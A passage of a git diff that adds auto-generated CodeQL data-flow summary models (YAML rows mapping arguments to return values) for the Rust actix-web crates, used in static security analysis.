["repo:https://github.com/actix/actix-web:actix-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::request", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::url", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::url", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::client_request_timeout", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::client_request_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::client_request_timeout", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::client_request_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::client_request_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::disable_redirects", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::h1", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::h2", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::listen_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::openssl", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Openssl(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::openssl", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Openssl(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::openssl", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::port", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::port]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::port", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::port]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::port", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls020(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls020(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_021", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls021(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_021", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls021(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_021", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_20", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls020(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_20", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls020(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_20", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_21", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls021(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_21", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls021(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_21", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_22", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls022(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_22", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls022(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_22", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_23", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls023(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_23", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls023(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_23", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::workers", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::workers]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::workers", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::workers]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::workers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml new file mode 100644 index 000000000000..6c1bd84c988b --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml @@ -0,0 +1,21 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::parts", "Argument[self].Field[crate::context::HttpContext::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::parts", "Argument[self].Field[crate::ws::WebsocketContext::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::with_codec", "Argument[2]", "ReturnValue.Field[crate::ws::WebsocketContextFut::encoder]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::codec", "Argument[0]", "Argument[self].Field[crate::ws::WsResponseBuilder::codec].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::codec", "Argument[0]", "ReturnValue.Field[crate::ws::WsResponseBuilder::codec].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::codec", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::frame_size", "Argument[0]", "Argument[self].Field[crate::ws::WsResponseBuilder::frame_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::frame_size", "Argument[0]", "ReturnValue.Field[crate::ws::WsResponseBuilder::frame_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::new", "Argument[0]", "ReturnValue.Field[crate::ws::WsResponseBuilder::actor]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::new", "Argument[1]", "ReturnValue.Field[crate::ws::WsResponseBuilder::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::new", "Argument[2]", "ReturnValue.Field[crate::ws::WsResponseBuilder::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::protocols", "Argument[0]", "Argument[self].Field[crate::ws::WsResponseBuilder::protocols].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::protocols", "Argument[0]", "ReturnValue.Field[crate::ws::WsResponseBuilder::protocols].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::protocols", "Argument[self]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml new file mode 100644 index 000000000000..da04e3d3bf06 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml @@ -0,0 +1,25 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::try_from", "Argument[0].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::route::MethodTypeExt::Custom(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::new", "Argument[0].Field[crate::route::RouteArgs::path]", "ReturnValue.Field[crate::route::Args::path]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::route::Route::ast]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::route::Route::name]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::connect", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::delete", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::get", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::head", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::options", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::patch", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::post", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::put", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::route::with_method", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::route::with_methods", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::route", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::routes", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::scope::with_scope", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::scope", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::trace", "Argument[1]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml new file mode 100644 index 000000000000..71d89fea2728 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml @@ -0,0 +1,385 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-web", "<_ as crate::guard::Guard>::check", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "<_ as crate::guard::Guard>::check", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "<_ as crate::handler::Handler>::call", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_factory", "Argument[self].Field[crate::app::App::default]", "ReturnValue.Field[crate::app_service::AppInit::default]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_factory", "Argument[self].Field[crate::app::App::endpoint]", "ReturnValue.Field[crate::app_service::AppInit::endpoint]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_factory", "Argument[self].Field[crate::app::App::factory_ref]", "ReturnValue.Field[crate::app_service::AppInit::factory_ref]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::configure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::data_factory", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::default_service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::external_resource", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap_fn", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::app_service::AppEntry::factory]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::config", "Argument[self].Field[crate::app_service::AppInitServiceState::config]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::pool", "Argument[self].Field[crate::app_service::AppInitServiceState::pool]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::rmap", "Argument[self].Field[crate::app_service::AppInitServiceState::rmap]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::__priv_test_new", "Argument[0]", "ReturnValue.Field[crate::config::AppConfig::secure]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::__priv_test_new", "Argument[1]", "ReturnValue.Field[crate::config::AppConfig::host]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::__priv_test_new", "Argument[2]", "ReturnValue.Field[crate::config::AppConfig::addr]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::host", "Argument[self].Field[crate::config::AppConfig::host]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::local_addr", "Argument[self].Field[crate::config::AppConfig::addr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::config::AppConfig::secure]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "ReturnValue.Field[crate::config::AppConfig::host]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[2]", "ReturnValue.Field[crate::config::AppConfig::addr]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::secure", "Argument[self].Field[crate::config::AppConfig::secure]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::clone_config", "Argument[self].Field[crate::config::AppService::config].Reference", "ReturnValue.Field[crate::config::AppService::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::clone_config", "Argument[self].Field[crate::config::AppService::config]", "ReturnValue.Field[crate::config::AppService::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::config", "Argument[self].Field[crate::config::AppService::config]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_services", "Argument[self].Field[crate::config::AppService::config]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_services", "Argument[self].Field[crate::config::AppService::services]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::is_root", "Argument[self].Field[crate::config::AppService::root]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::config::AppService::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "ReturnValue.Field[crate::config::AppService::default]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::configure", "Argument[self]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::configure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::default_service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::external_resource", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::route", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue.Field[crate::data::Data(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[crate::data::Data(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::data::Data(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0].Field[crate::types::either::EitherExtractError::Bytes(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue.Field[crate::error::error::Error::cause]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::status_code", "Argument[self].Field[crate::error::internal::InternalError::status].Field[crate::error::internal::InternalErrorType::Status(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from_response", "Argument[0]", "ReturnValue.Field[crate::error::internal::InternalError::cause]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::error::internal::InternalError::cause]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "ReturnValue.Field[crate::error::internal::InternalError::status].Field[crate::error::internal::InternalErrorType::Status(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::and", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::or", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::check", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::check", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::match_star_star", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::guard::acceptable::Acceptable::mime]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::scheme", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::preference", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::as_filename", "Argument[self].Field[crate::http::header::content_disposition::DispositionParam::Filename(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::as_filename_ext", "Argument[self].Field[crate::http::header::content_disposition::DispositionParam::FilenameExt(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::as_name", "Argument[self].Field[crate::http::header::content_disposition::DispositionParam::Name(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::as_unknown", "Argument[self].Field[crate::http::header::content_disposition::DispositionParam::Unknown(1)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::as_unknown_ext", "Argument[self].Field[crate::http::header::content_disposition::DispositionParam::UnknownExt(1)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue.Field[crate::http::header::content_length::ContentLength(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::http::header::content_length::ContentLength(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::http::header::entity::EntityTag::weak]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "ReturnValue.Field[crate::http::header::entity::EntityTag::tag]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new_strong", "Argument[0]", "ReturnValue.Field[crate::http::header::entity::EntityTag::tag]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new_weak", "Argument[0]", "ReturnValue.Field[crate::http::header::entity::EntityTag::tag]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::strong", "Argument[0]", "ReturnValue.Field[crate::http::header::entity::EntityTag::tag]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::tag", "Argument[self].Field[crate::http::header::entity::EntityTag::tag]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::weak", "Argument[0]", "ReturnValue.Field[crate::http::header::entity::EntityTag::tag]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_item", "Argument[self].Field[crate::http::header::preference::Preference::Specific(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::item", "Argument[self].Field[crate::http::header::preference::Preference::Specific(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::to_satisfiable_range", "Argument[self].Reference.Field[crate::http::header::range::ByteRangeSpec::From(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::to_satisfiable_range", "Argument[self].Reference.Field[crate::http::header::range::ByteRangeSpec::FromTo(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::to_satisfiable_range", "Argument[self].Reference.Field[crate::http::header::range::ByteRangeSpec::FromTo(1)]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::host", "Argument[self].Field[crate::info::ConnectionInfo::host]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::scheme", "Argument[self].Field[crate::info::ConnectionInfo::scheme]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::info::PeerAddr(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::middleware::compat::Compat::transform]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::middleware::condition::Condition::enable]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "ReturnValue.Field[crate::middleware::condition::Condition::transformer]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::add", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::add_content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::call", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::call", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::call", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::fmt", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::fmt", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::custom_request_replace", "Argument[self]", "ReturnValue", 